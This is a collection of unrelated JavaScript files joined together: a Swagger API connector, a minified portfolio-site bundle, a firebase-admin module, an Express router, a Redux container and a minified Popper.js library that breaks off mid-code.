* Method: 'get'
*
*/
const Swagger = require('swagger-client');
const processWrapper = require('../services/process-wrapper');
const spec = require('../spec.json');
// this wrapers offers a simplified emitData(data) function
module.exports.process = processWrapper(processAction);
// parameter names for this call
const PARAMETERS = [
"format",
"cohort",
"tcga_participant_barcode",
"cde_name",
"page",
"page_size",
"sort_by"
];
// mappings from connector field names to API field names
const FIELD_MAP = {
"format": "format",
"cohort": "cohort",
"tcga_participant_barcode": "tcga_participant_barcode",
"cde_name": "cde_name",
"page": "page",
"page_size": "page_size",
"sort_by": "sort_by"
};
function processAction(msg, cfg) {
var isVerbose = process.env.debug || cfg.verbose;
if (isVerbose) {
console.log(`---MSG: ${JSON.stringify(msg)}`);
console.log(`---CFG: ${JSON.stringify(cfg)}`);
console.log(`---ENV: ${JSON.stringify(process.env)}`);
}
const contentType = undefined;
const body = msg.body;
mapFieldNames(body);
let parameters = {};
for(let param of PARAMETERS) {
parameters[param] = body[param];
}
// credentials for this operation
let securities = {};
let callParams = {
spec: spec,
operationId: 'Clinical',
pathName: '/Samples/Clinical',
method: 'get',
parameters: parameters,
requestContentType: contentType,
requestBody: body.requestBody,
securities: {authorized: securities},
server: spec.servers[cfg.server] || cfg.otherServer,
};
if (isVerbose) {
let out = Object.assign({}, callParams);
out.spec = '[omitted]';
console.log(`--SWAGGER CALL: ${JSON.stringify(out)}`);
}
// Call operation via Swagger client
return Swagger.execute(callParams).then(data => {
// emit a single message with data
this.emitData(data);
// if the response contains an array of entities, you can emit them one by one:
// data.obj.someItems.forEach((item) => {
// this.emitData(item);
// }
});
}
function mapFieldNames(obj) {
if(Array.isArray(obj)) {
obj.forEach(mapFieldNames);
}
else if(typeof obj === 'object' && obj) {
Object.keys(obj).forEach(key => {
mapFieldNames(obj[key]);
let goodKey = FIELD_MAP[key];
if(goodKey && goodKey !== key) {
obj[goodKey] = obj[key];
delete obj[key];
}
});
}
}
|
(this["webpackJsonpjuniormacatlang.github.io"]=this["webpackJsonpjuniormacatlang.github.io"]||[]).push([[0],{18:function(e,t,c){},24:function(e,t,c){},25:function(e,t,c){},26:function(e,t,c){},27:function(e,t,c){},28:function(e,t,c){},29:function(e,t,c){},30:function(e,t,c){"use strict";c.r(t);var i=c(1),s=c.n(i),a=c(8),n=c.n(a),l=c(3),r=(c(18),c(43)),j=c(44),o=c(0);function d(e){var t=e.menuOpen,c=e.setMenuOpen;return Object(o.jsx)("div",{className:"navbar "+(t&&"active"),children:Object(o.jsxs)("div",{className:"wrapper",children:[Object(o.jsxs)("div",{className:"left",children:[Object(o.jsx)("a",{href:"#intro",className:"logo",children:"Rommel Jr."}),Object(o.jsxs)("div",{className:"itemContainer",children:[Object(o.jsx)(r.a,{className:"icon"}),Object(o.jsx)("span",{children:"+1 775 203 4368"})]}),Object(o.jsxs)("div",{className:"itemContainer",children:[Object(o.jsx)(j.a,{className:"icon"}),Object(o.jsx)("span",{children:"junioraodaddi@gmail.com"})]})]}),Object(o.jsx)("div",{className:"right",children:Object(o.jsxs)("div",{className:"hamburger",onClick:function(){return c(!t)},children:[Object(o.jsx)("span",{className:"line1"}),Object(o.jsx)("span",{className:"line2"}),Object(o.jsx)("span",{className:"line3"})]})})]})})}c(24);var h=c(10);function b(){var e=Object(i.useRef)();return Object(i.useEffect)((function(){Object(h.a)(e.current,{showCursor:!1,backDelay:2e3,backSpeed:30,strings:["Computer Science and Engineering Student"]})}),[]),Object(o.jsxs)("div",{className:"intro",id:"intro",children:[Object(o.jsx)("div",{className:"left",children:Object(o.jsx)("div",{className:"imageContainer",children:Object(o.jsx)("img",{src:"asset/portrait.png",alt:""})})}),Object(o.jsxs)("div",{className:"right",children:[Object(o.jsxs)("div",{className:"wrapper",children:[Object(o.jsx)("h2",{children:"Hi there, I'm"}),Object(o.jsx)("h1",{children:"Rommel Macatlang Jr."}),Object(o.jsx)("h3",{children:Object(o.jsx)("span",{ref:e})})]}),Object(o.jsx)("a",{href:"#portfolio",children:Object(o.jsx)("img",{src:"asset/arrow.ico",alt:""})})]})]})}c(25);function m(e){var t=e.id,c=e.title,i=e.active,s=e.setSelected;return Object(o.jsx)("li",{className:i?"portfolioList active":"portfolioList",onClick:function(){return s(t)},children:c})}c(26);var O=[{id:1,title:"SQL Database in Python",img:"./asset/database.jpg"},{id:2,title:"Snake Game",img:"./asset/snake.jpg"},{id:3,title:"Placeholder",img:"./asset/placeholder.png"},{id:4,title:"Placeholder",img:"./asset/placeholder.png"},{id:5,title:"Placeholder",img:"./asset/placeholder.png"},{id:6,title:"Placeholder",img:"./asset/placeholder.png"}],p=[{id:1,title:"Car Inventory Tracker",img:"./asset/car.jpg"},{id:2,title:"Placeholder",img:"./asset/placeholder.png"},{id:3,title:"Placeholder",img:"./asset/placeholder.png"},{id:4,title:"Placeholder",img:"./asset/placeholder.png"},{id:5,title:"Placeholder",img:"./asset/placeholder.png"},{id:6,title:"Placeholder",img:"./asset/placeholder.png"}],u=[{id:1,title:"Portfolio Website",img:"./asset/portfolio.png"},{id:2,title:"Sorting Visualizer",img:"./asset/sorting.png"},{id:3,title:"Placeholder",img:"./asset/placeholder.png"},{id:4,title:"Placeholder",img:"./asset/placeholder.png"},{id:5,title:"Placeholder",img:"./asset/placeholder.png"},{id:6,title:"Placeholder",img:"./asset/placeholder.png"}];function g(){var e=Object(i.useState)("python"),t=Object(l.a)(e,2),c=t[0],s=t[1],a=Object(i.useState)([]),n=Object(l.a)(a,2),r=n[0],j=n[1];return Object(i.useEffect)((function(){switch(c){case"python":j(O);break;case"c++":j(p);break;case"javascript":j(u);break;default:j(O)}}),[c]),Object(o.jsxs)("div",{className:"portfolio",id:"portfolio",children:[Object(o.jsx)("h1",{children:"Portfolio"}),Object(o.jsx)("ul",{children:[{id:"python",title:"Python"},{id:"c++",title:"C++"},{id:"javascript",title:"Javascript"}].map((function(e){return Object(o.jsx)(m,{title:e.title,active:c===e.id,setSelected:s,id:e.id})}))}),Object(o.jsx)("div",{className:"container",children:r.map((function(e){return Object(o.jsxs)("div",{className:"item",children:[Object(o.jsx)("img",{src:e.img,alt:""}),Object(o.jsx)("h3",{children:e.title})]})}))})]})}c(27);function x(){return Object(o.jsxs)("div",{className:"contact",id:"contact",children:[Object(o.jsx)("div",{className:"left",children:Object(o.jsx)("img",{src:"asset/handshake.png",alt:""})}),Object(o.jsxs)("div",{className:"right",children:[Object(o.jsx)("h1",{children:"Thank you for visiting my website!"}),Object(o.jsx)("h1",{children:"Resume:"})]})]})}c(28);function f(e){var t=e.menuOpen,c=e.setMenuOpen;return Object(o.jsx)("div",{className:"menu "+(t&&"active"),children:Object(o.jsxs)("ul",{children:[Object(o.jsx)("li",{onClick:function(){return c(!1)},children:Object(o.jsx)("a",{href:"#intro",children:"Home"})}),Object(o.jsx)("li",{onClick:function(){return c(!1)},children:Object(o.jsx)("a",{href:"#portfolio",children:"Portfolio"})}),Object(o.jsx)("li",{onClick:function(){return c(!1)},children:Object(o.jsx)("a",{href:"#contact",children:"Contact"})})]})})}c(29);var v=function(){var e=Object(i.useState)(!1),t=Object(l.a)(e,2),c=t[0],s=t[1];return Object(o.jsxs)("div",{className:"app",children:[Object(o.jsx)(d,{menuOpen:c,setMenuOpen:s}),Object(o.jsx)(f,{menuOpen:c,setMenuOpen:s}),Object(o.jsxs)("div",{className:"sections",children:[Object(o.jsx)(b,{}),Object(o.jsx)(g,{}),Object(o.jsx)(x,{})]})]})};n.a.render(Object(o.jsx)(s.a.StrictMode,{children:Object(o.jsx)(v,{})}),document.getElementById("root"))}},[[30,1,2]]]);
//# sourceMappingURL=main.9f5613e5.chunk.js.map
|
/*! firebase-admin v4.1.3
https://firebase.google.com/terms/ */
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
var deep_copy_1 = require("./utils/deep-copy");
var error_1 = require("./utils/error");
var firebase_app_1 = require("./firebase-app");
var credential_1 = require("./auth/credential");
var DEFAULT_APP_NAME = '[DEFAULT]';
var globalAppDefaultCred;
var globalCertCreds = {};
var globalRefreshTokenCreds = {};
/**
* Internals of a FirebaseNamespace instance.
*/
var FirebaseNamespaceInternals = (function () {
function FirebaseNamespaceInternals(firebase_) {
this.firebase_ = firebase_;
this.serviceFactories = {};
this.apps_ = {};
this.appHooks_ = {};
}
/**
* Initializes the FirebaseApp instance.
*
* @param {FirebaseAppOptions} options Options for the FirebaseApp instance.
* @param {string} [appName] Optional name of the FirebaseApp instance.
*
* @return {FirebaseApp} A new FirebaseApp instance.
*/
FirebaseNamespaceInternals.prototype.initializeApp = function (options, appName) {
if (appName === void 0) { appName = DEFAULT_APP_NAME; }
if (typeof appName !== 'string' || appName === '') {
throw new error_1.FirebaseAppError(error_1.AppErrorCodes.INVALID_APP_NAME, "Invalid Firebase app name \"" + appName + "\" provided. App name must be a non-empty string.");
}
else if (appName in this.apps_) {
if (appName === DEFAULT_APP_NAME) {
throw new error_1.FirebaseAppError(error_1.AppErrorCodes.DUPLICATE_APP, 'The default Firebase app already exists. This means you called initializeApp() ' +
'more than once without providing an app name as the second argument. In most cases ' +
'you only need to call initializeApp() once. But if you do want to initialize ' +
'multiple apps, pass a second argument to initializeApp() to give each app a unique ' +
'name.');
}
else {
throw new error_1.FirebaseAppError(error_1.AppErrorCodes.DUPLICATE_APP, "Firebase app named \"" + appName + "\" already exists. This means you called initializeApp() " +
'more than once with the same app name as the second argument. Make sure you provide a ' +
'unique name every time you call initializeApp().');
}
}
var app = new firebase_app_1.FirebaseApp(options, appName, this);
this.apps_[appName] = app;
this.callAppHooks_(app, 'create');
return app;
};
/**
* Returns the FirebaseApp instance with the provided name (or the default FirebaseApp instance
* if no name is provided).
*
* @param {string} [appName=DEFAULT_APP_NAME] Optional name of the FirebaseApp instance to return.
* @return {FirebaseApp} The FirebaseApp instance which has the provided name.
*/
FirebaseNamespaceInternals.prototype.app = function (appName) {
if (appName === void 0) { appName = DEFAULT_APP_NAME; }
if (typeof appName !== 'string' || appName === '') {
throw new error_1.FirebaseAppError(error_1.AppErrorCodes.INVALID_APP_NAME, "Invalid Firebase app name \"" + appName + "\" provided. App name must be a non-empty string.");
}
else if (!(appName in this.apps_)) {
var errorMessage = void 0;
if (appName === DEFAULT_APP_NAME) {
errorMessage = 'The default Firebase app does not exist. ';
}
else {
errorMessage = "Firebase app named \"" + appName + "\" does not exist. ";
}
errorMessage += 'Make sure you call initializeApp() before using any of the Firebase services.';
throw new error_1.FirebaseAppError(error_1.AppErrorCodes.NO_APP, errorMessage);
}
return this.apps_[appName];
};
Object.defineProperty(FirebaseNamespaceInternals.prototype, "apps", {
/*
* Returns an array of all the non-deleted FirebaseApp instances.
*
* @return {Array<FirebaseApp>} An array of all the non-deleted FirebaseApp instances
*/
get: function () {
var _this = this;
// Return a copy so the caller cannot mutate the array
return Object.keys(this.apps_).map(function (appName) { return _this.apps_[appName]; });
},
enumerable: true,
configurable: true
});
/*
* Removes the specified FirebaseApp instance.
*
* @param {string} appName The name of the FirebaseApp instance to remove.
*/
FirebaseNamespaceInternals.prototype.removeApp = function (appName) {
if (typeof appName === 'undefined') {
throw new error_1.FirebaseAppError(error_1.AppErrorCodes.INVALID_APP_NAME, "No Firebase app name provided. App name must be a non-empty string.");
}
var appToRemove = this.app(appName);
this.callAppHooks_(appToRemove, 'delete');
delete this.apps_[appName];
};
/*
* Registers a new service on this Firebase namespace.
*
* @param {string} serviceName The name of the Firebase service to register.
* @param {FirebaseServiceFactory} createService A factory method to generate an instance of the Firebase service.
* @param {Object} [serviceProperties] Optional properties to extend this Firebase namespace with.
* @param {AppHook} [appHook] Optional callback that handles app-related events like app creation and deletion.
* @return {FirebaseServiceNamespace<FirebaseServiceInterface>} The Firebase service's namespace.
*/
FirebaseNamespaceInternals.prototype.registerService = function (serviceName, createService, serviceProperties, appHook) {
var _this = this;
var errorMessage;
if (typeof serviceName === 'undefined') {
errorMessage = "No service name provided. Service name must be a non-empty string.";
}
else if (typeof serviceName !== 'string' || serviceName === '') {
errorMessage = "Invalid service name \"" + serviceName + "\" provided. Service name must be a non-empty string.";
}
else if (serviceName in this.serviceFactories) {
errorMessage = "Firebase service named \"" + serviceName + "\" has already been registered.";
}
if (typeof errorMessage !== 'undefined') {
throw new error_1.FirebaseAppError(error_1.AppErrorCodes.INTERNAL_ERROR, "INTERNAL ASSERT FAILED: " + errorMessage);
}
this.serviceFactories[serviceName] = createService;
if (appHook) {
this.appHooks_[serviceName] = appHook;
}
var serviceNamespace;
// The service namespace is an accessor function which takes a FirebaseApp instance
// or uses the default app if no FirebaseApp instance is provided
serviceNamespace = function (appArg) {
if (typeof appArg === 'undefined') {
appArg = _this.app();
}
// Forward service instance lookup to the FirebaseApp
return appArg[serviceName]();
};
// ... and a container for service-level properties.
if (serviceProperties !== undefined) {
deep_copy_1.deepExtend(serviceNamespace, serviceProperties);
}
// Monkey-patch the service namespace onto the Firebase namespace
this.firebase_[serviceName] = serviceNamespace;
return serviceNamespace;
};
/**
* Calls the app hooks corresponding to the provided event name for each service within the
* provided FirebaseApp instance.
*
* @param {FirebaseApp} app The FirebaseApp instance whose app hooks to call.
* @param {string} eventName The event name representing which app hooks to call.
*/
FirebaseNamespaceInternals.prototype.callAppHooks_ = function (app, eventName) {
var _this = this;
Object.keys(this.serviceFactories).forEach(function (serviceName) {
if (_this.appHooks_[serviceName]) {
_this.appHooks_[serviceName](eventName, app);
}
});
};
return FirebaseNamespaceInternals;
}());
exports.FirebaseNamespaceInternals = FirebaseNamespaceInternals;
var firebaseCredential = {
cert: function (serviceAccountPathOrObject) {
var stringifiedServiceAccount = JSON.stringify(serviceAccountPathOrObject);
if (!(stringifiedServiceAccount in globalCertCreds)) {
globalCertCreds[stringifiedServiceAccount] = new credential_1.CertCredential(serviceAccountPathOrObject);
}
return globalCertCreds[stringifiedServiceAccount];
},
refreshToken: function (refreshTokenPathOrObject) {
var stringifiedRefreshToken = JSON.stringify(refreshTokenPathOrObject);
if (!(stringifiedRefreshToken in globalRefreshTokenCreds)) {
globalRefreshTokenCreds[stringifiedRefreshToken] = new credential_1.RefreshTokenCredential(refreshTokenPathOrObject);
}
return globalRefreshTokenCreds[stringifiedRefreshToken];
},
applicationDefault: function () {
if (typeof globalAppDefaultCred === 'undefined') {
globalAppDefaultCred = new credential_1.ApplicationDefaultCredential();
}
return globalAppDefaultCred;
},
};
/**
* Global Firebase context object.
*/
var FirebaseNamespace = (function () {
/* tslint:enable */
function FirebaseNamespace() {
// Hack to prevent Babel from modifying the object returned as the default admin namespace.
/* tslint:disable:variable-name */
this.__esModule = true;
/* tslint:enable:variable-name */
this.credential = firebaseCredential;
this.SDK_VERSION = '4.1.3';
/* tslint:disable */
// TODO(jwenger): Database is the only consumer of firebase.Promise. We should update it to use
// use the native Promise and then remove this.
this.Promise = Promise;
this.INTERNAL = new FirebaseNamespaceInternals(this);
}
/**
* Firebase services available off of a FirebaseNamespace instance. These are monkey-patched via
* registerService(), but we need to include a dummy implementation to get TypeScript to
* compile it without errors.
*/
/* istanbul ignore next */
FirebaseNamespace.prototype.auth = function () {
throw new error_1.FirebaseAppError(error_1.AppErrorCodes.INTERNAL_ERROR, 'INTERNAL ASSERT FAILED: Firebase auth() service has not been registered.');
};
/* istanbul ignore next */
FirebaseNamespace.prototype.database = function () {
throw new error_1.FirebaseAppError(error_1.AppErrorCodes.INTERNAL_ERROR, 'INTERNAL ASSERT FAILED: Firebase database() service has not been registered.');
};
/* istanbul ignore next */
FirebaseNamespace.prototype.messaging = function () {
throw new error_1.FirebaseAppError(error_1.AppErrorCodes.INTERNAL_ERROR, 'INTERNAL ASSERT FAILED: Firebase messaging() service has not been registered.');
};
/**
* Initializes the FirebaseApp instance.
*
* @param {FirebaseAppOptions} options Options for the FirebaseApp instance.
* @param {string} [appName] Optional name of the FirebaseApp instance.
*
* @return {FirebaseApp} A new FirebaseApp instance.
*/
FirebaseNamespace.prototype.initializeApp = function (options, appName) {
return this.INTERNAL.initializeApp(options, appName);
};
/**
* Returns the FirebaseApp instance with the provided name (or the default FirebaseApp instance
* if no name is provided).
*
* @param {string} [appName] Optional name of the FirebaseApp instance to return.
* @return {FirebaseApp} The FirebaseApp instance which has the provided name.
*/
FirebaseNamespace.prototype.app = function (appName) {
return this.INTERNAL.app(appName);
};
Object.defineProperty(FirebaseNamespace.prototype, "apps", {
/*
* Returns an array of all the non-deleted FirebaseApp instances.
*
* @return {Array<FirebaseApp>} An array of all the non-deleted FirebaseApp instances
*/
get: function () {
return this.INTERNAL.apps;
},
enumerable: true,
configurable: true
});
return FirebaseNamespace;
}());
exports.FirebaseNamespace = FirebaseNamespace;
|
const express = require('express');
const router = express.Router();
const { ensureAuthenticated, forwardAuthenticated } = require('../config/auth');
// Welcome Page
router.get('/', forwardAuthenticated, (req, res) => res.render('welcome'));
// Dashboard
router.get('/dashboard', ensureAuthenticated, (req, res) =>
res.status(200).json({ user: req.user })
);
module.exports = router;
|
module.exports = function(n) {
return n * (n > 1 ? n - 1 : 1);
};
|
import RoleForm from '../components/RoleForm'
import { addNewRole } from '../actions/roleActions'
import connect from 'react-redux/es/connect/connect'
const mapStateToProps = (state) => ({
loading: state.role.loading
})
const mapDispatchToProps = (dispatch) => ({
submissionHandler: (values) => {
dispatch(addNewRole(values))
}
})
export default connect(
mapStateToProps,
mapDispatchToProps
)(RoleForm)
|
(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=window.getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode||e.host}function n(e){if(!e||-1!==['HTML','BODY','#document'].indexOf(e.nodeName))return window.document.body;var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:window.document.documentElement}function p(e){var t=e.nodeName;return'BODY'!==t&&('HTML'===t||r(e.firstElementChild)===e)}function s(e){return null===e.parentNode?e:s(e.parentNode)}function d(e,t){if(!e||!e.nodeType||!t||!t.nodeType)return window.document.documentElement;var o=e.compareDocumentPosition(t)&Node.DOCUMENT_POSITION_FOLLOWING,i=o?e:t,n=o?t:e,a=document.createRange();a.setStart(i,0),a.setEnd(n,0);var f=a.commonAncestorContainer;if(e!==f&&t!==f||i.contains(n))return p(f)?f:r(f);var l=s(e);return l.host?d(l.host,t):d(e,s(t).host)}function a(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:'top',o='top'===t?'scrollTop':'scrollLeft',i=e.nodeName;if('BODY'===i||'HTML'===i){var n=window.document.documentElement,r=window.document.scrollingElement||n;return r[o]}return e[o]}function f(e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=i*r,e.bottom+=i*r,e.left+=n*r,e.right+=n*r,e}function l(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return+e['border'+o+'Width'].split('px')[0]+ +e['border'+i+'Width'].split('px')[0]}function m(e,t,o,i){return _(t['offset'+e],o['client'+e],o['offset'+e],ie()?o['offset'+e]+i['margin'+('Height'===e?'Top':'Left')]+i['margin'+('Height'===e?'Bottom':'Right')]:0)}function h(){var e=window.document.body,t=window.document.documentElement,o=ie()&&window.getComputedStyle(t);return{height:m('Height',e,t,o),width:m('Width',e,t,o)}}function c(e){return se({},e,{right:e.left+e.width,bottom:e.top+e.height})}function g(e){var o={};if(ie())try{o=e.getBoundingClientRect();var i=a(e,'top'),n=a(e,'left');o.top+=i,o.left+=n,o.bottom+=i,o.right+=n}catch(e){}else o=e.getBoundingClientRect();var r={left:o.left,top:o.top,width:o.right-o.left,height:o.bottom-o.top},p='HTML'===e.nodeName?h():{},s=p.width||e.clientWidth||r.right-r.left,d=p.height||e.clientHeight||r.bottom-r.top,f=e.offsetWidth-s,m=e.offsetHeight-d;if(f||m){var g=t(e);f-=l(g,'x'),m-=l(g,'y'),r.width-=f,r.height-=m}return c(r)}function u(e,o){var i=ie(),r='HTML'===o.nodeName,p=g(e),s=g(o),d=n(e),a=t(o),l=+a.borderTopWidth.split('px')[0],m=+a.borderLeftWidth.split('px')[0],h=c({top:p.top-s.top-l,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=+a.marginTop.split('px')[0],b=+a.marginLeft.split('px')[0];h.top-=l-u,h.bottom-=l-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?o.contains(d):o===d&&'BODY'!==d.nodeName)&&(h=f(h,o)),h}function b(e){var t=window.document.documentElement,o=u(e,t),i=_(t.clientWidth,window.innerWidth||0),n=_(t.clientHeight,window.innerHeight||0),r=a(t),p=a(t,'left'),s={top:r-o.top+o.marginTop,left:p-o.left+o.marginLeft,width:i,height:n};return c(s)}function y(e){var i=e.nodeName;return'BODY'===i||'HTML'===i?!1:'fixed'===t(e,'position')||y(o(e))}function w(e,t,i,r){var p={top:0,left:0},s=d(e,t);if('viewport'===r)p=b(s);else{var a;'scrollParent'===r?(a=n(o(e)),'BODY'===a.nodeName&&(a=window.document.documentElement)):'window'===r?a=window.document.documentElement:a=r;var f=u(a,s);if('HTML'===a.nodeName&&!y(s)){var l=h(),m=l.height,c=l.width;p.top+=f.top-f.marginTop,p.bottom=m+f.top,p.left+=f.left-f.marginLeft,p.right=c+f.left}else p=f}return p.left+=i,p.top+=i,p.right-=i,p.bottom-=i,p}function v(e){var t=e.width,o=e.height;return t*o}function E(e,t,o,i,n){var r=5<arguments.length&&void 0!==arguments[5]?arguments[5]:0;if(-1===e.indexOf('auto'))return e;var p=w(o,i,r,n),s={top:{width:p.width,height:t.top-p.top},right:{width:p.right-t.right,height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:v(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,i=e.height;return t>=o.clientWidth&&i>=o.clientHeight}),f=0<a.length?a[0].key:d[0].key,l=e.split('-')[1];return f+(l?'-'+l:'')}function x(e,t,o){var i=d(t,o);return u(o,i)}function O(e){var t=window.getComputedStyle(e),o=parseFloat(t.marginTop)+parseFloat(t.marginBottom),i=parseFloat(t.marginLeft)+parseFloat(t.marginRight),n={width:e.offsetWidth+i,height:e.offsetHeight+o};return n}function L(e){var t={left:'right',right:'left',bottom:'top',top:'bottom'};return e.replace(/left|right|bottom|top/g,function(e){return t[e]})}function S(e,t,o){o=o.split('-')[0];var i=O(e),n={width:i.width,height:i.height},r=-1!==['right','left'].indexOf(o),p=r?'top':'left',s=r?'left':'top',d=r?'height':'width',a=r?'width':'height';return n[p]=t[p]+t[d]/2-i[d]/2,n[s]=o===s?t[s]-i[a]:t[L(s)],n}function T(e,t){return Array.prototype.find?e.find(t):e.filter(t)[0]}function C(e,t,o){if(Array.prototype.findIndex)return e.findIndex(function(e){return e[t]===o});var i=T(e,function(e){return e[t]===o});return e.indexOf(i)}function N(t,o,i){var n=void 0===i?t:t.slice(0,C(t,'name',i));return n.forEach(function(t){t.function&&console.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t.function||t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function k(){if(!this.state.isDestroyed){var e={instance:this,styles:{},attributes:{},flipped:!1,offsets:{}};e.offsets.reference=x(this.state,this.popper,this.reference),e.placement=E(this.options.placement,e.offsets.reference,this.popper,this.reference,this.options.modifiers.flip.boundariesElement,this.options.modifiers.flip.padding),e.originalPlacement=e.placement,e.offsets.popper=S(this.popper,e.offsets.reference,e.placement),e.offsets.popper.position='absolute',e=N(this.modifiers,e),this.state.isCreated?this.options.onUpdate(e):(this.state.isCreated=!0,this.options.onCreate(e))}}function W(e,t){return e.some(function(e){var o=e.name,i=e.enabled;return i&&o===t})}function B(e){for(var t=[!1,'ms','Webkit','Moz','O'],o=e.charAt(0).toUpperCase()+e.slice(1),n=0;n<t.length-1;n++){var i=t[n],r=i?''+i+o:e;if('undefined'!=typeof window.document.body.style[r])return r}return null}function D(){return this.state.isDestroyed=!0,W(this.modifiers,'applyStyle')&&(this.popper.removeAttribute('x-placement'),this.popper.style.left='',this.popper.style.position='',this.popper.style.top='',this.popper.style[B('transform')]=''),this.disableEventListeners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?window:e;p.addEventListener(t,o,{passive:!0}),r||H(n(p.parentNode),t,o,i),i.push(p)}function P(e,t,o,i){o.updateBound=i,window.addEventListener('resize',o.updateBound,{passive:!0});var r=n(e);return H(r,'scroll',o.updateBound,o.scrollParents),o.scrollElement=r,o.eventsEnabled=!0,o}function A(){this.state.eventsEnabled||(this.state=P(this.reference,this.options,this.state,this.scheduleUpdate))}function M(e,t){return window.removeEventListener('resize',t.updateBound),t.scrollParents.forEach(function(e){e.removeEventListener('scroll',t.updateBound)}),t.updateBound=null,t.scrollParents=[],t.scrollElement=null,t.eventsEnabled=!1,t}function I(){this.state.eventsEnabled&&(window.cancelAnimationFrame(this.scheduleUpdate),this.state=M(this.reference,this.state))}function R(e){return''!==e&&!isNaN(parseFloat(e))&&isFinite(e)}function U(e,t){Object.keys(t).forEach(function(o){var i='';-1!==['width','height','top','right','bottom','left'].indexOf(o)&&R(t[o])&&(i='px'),e.style[o]=t[o]+i})}function Y(e,t){Object.keys(t).forEach(function(o){var i=t[o];!1===i?e.removeAttribute(o):e.setAttribute(o,t[o])})}function F(e,t,o){var i=T(e,function(e){var o=e.name;return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function j(e){return'end'===e?'start':'start'===e?'end':e}function K(e){var t=1<arguments.length&&void 0!==arguments[1]&&arguments[1],o=ae.indexOf(e),i=ae.slice(o+1).concat(ae.slice(0,o));return t?i.reverse():i}function q(e,t,o,i){var n=e.match(/((?:\-|\+)?\d*\.?\d*)(.*)/),r=+n[1],p=n[2];if(!r)return e;if(0===p.indexOf('%')){var s;switch(p){case'%p':s=o;break;case'%':case'%r':default:s=i;}var d=c(s);return d[t]/100*r}if('vh'===p||'vw'===p){var a;return a='vh'===p?_(document.documentElement.clientHeight,window.innerHeight||0):_(document.documentElement.clientWidth,window.innerWidth||0),a/100*r}return r}function G(e,t,o,i){var n=[0,0],r=-1!==['right','left'].indexOf(i),p=e.split(/(\+|\-)/).map(function(e){return e.trim()}),s=p.indexOf(T(p,function(e){return-1!==e.search(/,|\s/)}));p[s]&&-1===p[s].indexOf(',')&&console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.');var d=/\s*,\s*|\s+/,a=-1===s?[p]:[p.slice(0,s).concat([p[s].split(d)[0]]),[p[s].split(d)[1]].concat(p.slice(s+1))];return a=a.map(function(e,i){var n=(1===i?!r:r)?'height':'width',p=!1;return e.reduce(function(e,t){return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return q(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){R(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}for(var z=Math.min,V=Math.floor,_=Math.max,X=['native code','[object MutationObserverConstructor]'],Q=function(e){return X.some(function(t){return-1<(e||'').toString().indexOf(t)})},J='undefined'!=typeof window,Z=['Edge','Trident','Firefox'],$=0,ee=0;ee<Z.length;ee+=1)if(J&&0<=navigator.userAgent.indexOf(Z[ee])){$=1;break}var i,te=J&&Q(window.MutationObserver),oe=te?function(e){var t=!1,o=0,i=document.createElement('span'),n=new MutationObserver(function(){e(),t=!1});return n.observe(i,{attributes:!0}),function(){t||(t=!0,i.setAttribute('x-index',o),++o)}}:function(e){var t=!1;return function(){t||(t=!0,setTimeout(function(){t=!1,e()},$))}},ie=function(){return void 0==i&&(i=-1!==navigator.appVersion.indexOf('MSIE 10')),i},ne=function(e,t){if(!(e instanceof t))throw new TypeError('Cannot call a class as a function')},re=function(){function e(e,t){for(var o,n=0;n<t.length;n++)o=t[n],o.enumerable=o.enumerable||!1,o.configurable=!0,'value'in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}return function(t,o,i){return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign||function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e},de=['auto-start','auto','auto-end','top-start','top','top-end','right-start','right','right-end','bottom-end','bottom','bottom-start','left-end','left','left-start'],ae=de.slice(3),fe={FLIP:'flip',CLOCKWISE:'clockwise',COUNTERCLOCKWISE:'counterclockwise'},le=function(){function t(o,i){var n=this,r=2<arguments.length&&void 0!==arguments[2]?arguments[2]:{};ne(this,t),this.scheduleUpdate=function(){return 